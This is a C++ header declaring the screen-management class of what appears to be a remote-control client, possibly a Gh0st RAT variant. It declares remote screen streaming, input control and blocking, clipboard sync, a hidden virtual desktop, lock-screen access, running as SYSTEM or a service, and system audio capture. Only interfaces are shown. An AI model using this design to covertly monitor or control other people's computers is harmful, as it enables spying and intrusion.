// ScreenManager.h: interface for the CScreenManager class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) #define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "Manager.h" #include "ScreenSpy.h" #include "ScreenCapture.h" // WASAPI 前向声明 (COM 接口) struct IMMDevice; struct IAudioClient; struct IAudioCaptureClient; // WAVEFORMATEX 使用 void* 避免包含头文件 bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName); bool IsWindows8orHigher(); BOOL IsRunningAsSystem(); class IOCPClient; struct UserParam; class CScreenManager : public CManager { public: CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr, BOOL priv=FALSE); virtual ~CScreenManager(); HANDLE m_hWorkThread; ScreenSettings m_ScreenSettings = { 20 }; QualityProfile m_QualityProfiles[QUALITY_COUNT]; // 本地质量配置(可被服务端覆盖) virtual void InitScreenSpy(); void LoadQualityProfiles(); // 从配置文件加载质量配置 void SaveQualityProfiles(); // 保存质量配置到配置文件 static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID SendBitMapInfo(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); ScreenCapture* m_ScreenSpyObject; VOID SendFirstScreen(); const char* GetNextScreen(ULONG &ulNextSendLength); VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength); VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); UserParam *m_pUserParam = NULL; INT_PTR m_ptrUser; HDESK g_hDesk; BOOL m_isGDI; std::string m_DesktopID; BOOL m_bIsWorking; BOOL m_bIsBlockInput; BOOL SendClientClipboard(BOOL fast); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); std::string m_hash; std::string m_hmac; CONNECT_ADDRESS *m_conn = nullptr; uint64_t m_MyClientID = 0; // V2: 本机客户端ID void SetConnection(CONNECT_ADDRESS* conn) { m_conn = conn; if (conn) m_MyClientID = conn->clientID; } bool IsRunAsService() const { if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc)) return true; static BOOL is_run_as_system = IsRunningAsSystem(); return is_run_as_system; } // 获取当前活动桌面(带写权限,用于锁屏等安全桌面) // 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突 HDESK s_inputDesk = NULL; clock_t s_lastCheck = 0; DWORD s_lastThreadId = 0; bool SwitchScreen(); bool RestartScreen(); void SwitchToNextWindow(); // 切换到下一个窗口(类似 Alt+Tab) virtual BOOL OnReconnect(); uint64_t m_nReconnectTime = 0; // 重连开始时间 uint64_t m_DlgID = 0; BOOL m_SendFirst = FALSE; // 虚拟桌面 BOOL m_virtual; POINT m_point; POINT m_lastPoint; BOOL m_lmouseDown; HWND m_hResMoveWindow; LRESULT m_resMoveType; BOOL m_rmouseDown; // 标记右键是否按下 POINT m_rclickPoint; // 右键点击坐标 HWND m_rclickWnd; // 右键窗口 int m_nSwitchWindowIndex = 0; // 切换窗口索引 // ========== 系统音频捕获 (WASAPI Loopback) ========== volatile BOOL m_bAudioThreadRunning = FALSE;// 音频线程运行标志(独立于视频线程) volatile BOOL m_bAudioInitialized = FALSE; // WASAPI 是否已初始化 HANDLE m_hAudioThread = NULL; // 音频线程句柄 HANDLE m_hAudioEvent = NULL; // 控制线程挂起/唤醒 // WASAPI 相关 IMMDevice* m_pAudioDevice = nullptr; IAudioClient* m_pAudioClient = nullptr; IAudioCaptureClient* m_pCaptureClient = nullptr; void* m_pWaveFormat = nullptr; // 实际类型: WAVEFORMATEX* BOOL InitWASAPILoopback(); // 初始化 WASAPI Loopback void UninitWASAPI(); // 释放 WASAPI 资源 static DWORD WINAPI AudioThreadProc(LPVOID lpParam); // 音频捕获线程 void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令 }; #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)